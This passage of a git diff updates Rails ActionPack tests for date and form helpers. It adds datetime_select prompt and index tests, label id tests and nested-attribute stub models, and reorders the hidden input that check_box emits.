-      expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-      expected << "</select>\n"
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
 
-      assert_dom_equal expected, datetime_select("post", "updated_at")
-    ensure
-      Time.zone_default = nil
-    end
+    assert_dom_equal expected, datetime_select("post", "updated_at")
+  ensure
+    Time.zone_default = nil
   end
 
   def test_datetime_select_with_html_options_within_fields_for
@@ -1526,6 +1834,64 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
   end
 
+  def test_datetime_select_with_default_prompt
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009,  :prompt => true)
+  end
+
+  def test_datetime_select_with_custom_prompt
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
+  end
+
   def test_date_select_with_zero_value_and_no_start_year
     expected =  %(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
@@ -1645,6 +2011,40 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
   end
 
+  def test_datetime_select_within_fields_for_with_options_index
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+    id = 456
+
+    fields_for :post, @post, :index => id do |f|
+      concat f.datetime_select(:updated_at)
+    end
+
+    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
   def test_datetime_select_with_auto_index
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
@@ -1932,7 +2332,7 @@ class DateHelperTest < ActionView::TestCase
     @post = Post.new
     @post.updated_at = Time.local(2008, 7, 16, 23, 30)
 
-    options = { 
+    options = {
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -1944,7 +2344,7 @@ class DateHelperTest < ActionView::TestCase
 
     # note: the literal hash is intentional to show that the actual options hash isn't modified
     #       don't change this!
-    assert_equal({ 
+    assert_equal({
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -1958,7 +2358,7 @@ class DateHelperTest < ActionView::TestCase
     @post = Post.new
     @post.updated_at = Time.local(2008, 7, 16, 23, 30)
 
-    options = { 
+    options = {
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -1970,7 +2370,7 @@ class DateHelperTest < ActionView::TestCase
 
     # note: the literal hash is intentional to show that the actual options hash isn't modified
     #       don't change this!
-    assert_equal({ 
+    assert_equal({
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -1984,7 +2384,7 @@ class DateHelperTest < ActionView::TestCase
     @post = Post.new
     @post.updated_at = Time.local(2008, 7, 16, 23, 30)
 
-    options = { 
+    options = {
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -1996,7 +2396,7 @@ class DateHelperTest < ActionView::TestCase
 
     # note: the literal hash is intentional to show that the actual options hash isn't modified
     #       don't change this!
-    assert_equal({ 
+    assert_equal({
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -2007,7 +2407,7 @@ class DateHelperTest < ActionView::TestCase
   end
 
   def test_select_date_should_not_change_passed_options_hash
-    options = { 
+    options = {
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -2019,7 +2419,7 @@ class DateHelperTest < ActionView::TestCase
 
     # note: the literal hash is intentional to show that the actual options hash isn't modified
     #       don't change this!
-    assert_equal({ 
+    assert_equal({
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -2030,7 +2430,7 @@ class DateHelperTest < ActionView::TestCase
   end
 
   def test_select_datetime_should_not_change_passed_options_hash
-    options = { 
+    options = {
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -2042,7 +2442,7 @@ class DateHelperTest < ActionView::TestCase
 
     # note: the literal hash is intentional to show that the actual options hash isn't modified
     #       don't change this!
-    assert_equal({ 
+    assert_equal({
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -2053,7 +2453,7 @@ class DateHelperTest < ActionView::TestCase
   end
 
   def test_select_time_should_not_change_passed_options_hash
-    options = { 
+    options = {
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
@@ -2065,7 +2465,7 @@ class DateHelperTest < ActionView::TestCase
 
     # note: the literal hash is intentional to show that the actual options hash isn't modified
     #       don't change this!
-    assert_equal({ 
+    assert_equal({
       :order => [ :year, :month, :day ],
       :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
       :discard_type => false,
diff --git a/vendor/rails/actionpack/test/template/form_helper_test.rb b/vendor/rails/actionpack/test/template/form_helper_test.rb
index 52e8bf37..f22302d3 100644
--- a/vendor/rails/actionpack/test/template/form_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/form_helper_test.rb
@@ -15,21 +15,78 @@ silence_warnings do
     def new_record?
       @new_record
     end
+
+    attr_accessor :author
+    def author_attributes=(attributes); end
+
+    attr_accessor :comments
+    def comments_attributes=(attributes); end
+
+    attr_accessor :tags
+    def tags_attributes=(attributes); end
   end
 
   class Comment
     attr_reader :id
     attr_reader :post_id
+    def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
     def save; @id = 1; @post_id = 1 end
     def new_record?; @id.nil? end
     def to_param; @id; end
     def name
-      @id.nil? ? 'new comment' : "comment ##{@id}"
+      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+    end
+
+    attr_accessor :relevances
+    def relevances_attributes=(attributes); end
+
+  end
+
+  class Tag
+    attr_reader :id
+    attr_reader :post_id
+    def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+    def save; @id = 1; @post_id = 1 end
+    def new_record?; @id.nil? end
+    def to_param; @id; end
+    def value
+      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+    end
+
+    attr_accessor :relevances
+    def relevances_attributes=(attributes); end
+
+  end
+
+  class CommentRelevance
+    attr_reader :id
+    attr_reader :comment_id
+    def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
+    def save; @id = 1; @comment_id = 1 end
+    def new_record?; @id.nil? end
+    def to_param; @id; end
+    def value
+      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
     end
   end
-end
 
-class Comment::Nested < Comment; end
+  class TagRelevance
+    attr_reader :id
+    attr_reader :tag_id
+    def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
+    def save; @id = 1; @tag_id = 1 end
+    def new_record?; @id.nil? end
+    def to_param; @id; end
+    def value
+      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+    end
+  end
+
+  class Author < Comment
+    attr_accessor :post
+    def post_attributes=(attributes); end
+  end
+end
 
 class FormHelperTest < ActionView::TestCase
   tests ActionView::Helpers::FormHelper
@@ -88,6 +145,27 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
   end
 
+  def test_label_with_id_attribute_as_symbol
+    assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, :id => "my_id"))
+  end
+
+  def test_label_with_id_attribute_as_string
+    assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, "id" => "my_id"))
+  end
+
+  def test_label_with_for_and_id_attributes_as_symbol
+    assert_dom_equal('<label for="my_for" id="my_id">Title</label>', label(:post, :title, nil, :for => "my_for", :id => "my_id"))
+  end
+
+  def test_label_with_for_and_id_attributes_as_string
+    assert_dom_equal('<label for="my_for" id="my_id">Title</label>', label(:post, :title, nil, "for" => "my_for", "id" => "my_id"))
+  end
+
+  def test_label_for_radio_buttons_with_value
+    assert_dom_equal('<label for="post_title_great_title">The title goes here</label>', label("post", "title", "The title goes here", :value => "great_title"))
+    assert_dom_equal('<label for="post_title_great_title">The title goes here</label>', label("post", "title", "The title goes here", :value => "great title"))
+  end
+
   def test_text_field
     assert_dom_equal(
       '<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title")
@@ -160,36 +238,36 @@ class FormHelperTest < ActionView::TestCase
 
   def test_check_box
     assert_dom_equal(
-      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
     @post.secret = 0
     assert_dom_equal(
-      '<input id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
     assert_dom_equal(
-      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret" ,{"checked"=>"checked"})
     )
     @post.secret = true
     assert_dom_equal(
-      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
     assert_dom_equal(
-      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret?")
     )
 
     @post.secret = ['0']
     assert_dom_equal(
-      '<input id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
     @post.secret = ['1']
     assert_dom_equal(
-      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
   end
@@ -197,14 +275,14 @@ class FormHelperTest < ActionView::TestCase
   def test_check_box_with_explicit_checked_and_unchecked_values
     @post.secret = "on"
     assert_dom_equal(
-      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" /><input name="post[secret]" type="hidden" value="off" />',
+      '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
       check_box("post", "secret", {}, "on", "off")
     )
   end
 
   def test_checkbox_disabled_still_submits_checked_value
     assert_dom_equal(
-      '<input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="1" />',
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret", { :disabled => :true })
     )
   end
@@ -233,6 +311,16 @@ class FormHelperTest < ActionView::TestCase
     )
   end
 
+  def test_radio_button_with_booleans
+    assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
+      radio_button("post", "secret", true)
+    )
+
+    assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
+      radio_button("post", "secret", false)
+    )
+  end
+
   def test_text_area
     assert_dom_equal(
       '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
@@ -279,7 +367,7 @@ class FormHelperTest < ActionView::TestCase
       text_area("post", "body", "name" => "really!")
     )
     assert_dom_equal(
-      '<input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" /><input name="i mean it" type="hidden" value="0" />',
+      '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
       check_box("post", "secret", "name" => "i mean it")
     )
     assert_dom_equal text_field("post", "title", "name" => "dont guess"),
@@ -299,7 +387,7 @@ class FormHelperTest < ActionView::TestCase
       text_area("post", "body", "id" => "really!")
     )
     assert_dom_equal(
-      '<input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
